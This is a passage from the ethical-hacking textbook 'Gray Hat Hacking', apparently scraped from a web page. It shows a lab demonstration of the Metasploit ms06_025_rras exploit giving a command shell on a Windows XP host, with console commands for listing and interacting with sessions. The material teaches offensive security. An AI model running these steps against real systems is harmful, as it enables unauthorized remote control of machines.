More likely, the connection
timed out either in the Windows layer or in the Metasploit layer.
So we attempt to exploit again. This attempt made it all the way through the exploit
and even set up a command shell (session #3). Metasploit appears to have timed out on
us just before returning control of the session to the console, however. This idea of sessions
is another new Metasploit 3 feature and helps us out in this case. Even though we
Gray Hat Hacking: The Ethical Hacker??™s Handbook
82
have returned to an msf prompt, we have a command shell waiting for us. You can access
any active session with the sessions??“i command.
msf exploit(ms06_025_rras) > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
3 Command shell 192.168.1.113:4444 -> 192.168.1.220:1034
Aha! It??™s still there! To interact with the session, use the sessions ??“i
command.
msf exploit(ms06_025_rras) > sessions -i 3
[*] Starting interaction with 3...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
D:\SAFE_NT\system32>
Back in business! It doesn??™t make much sense to switch from the bind shell to the
reverse shell in this case of two machines on the same subnet with no firewall involved.
Pages:
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218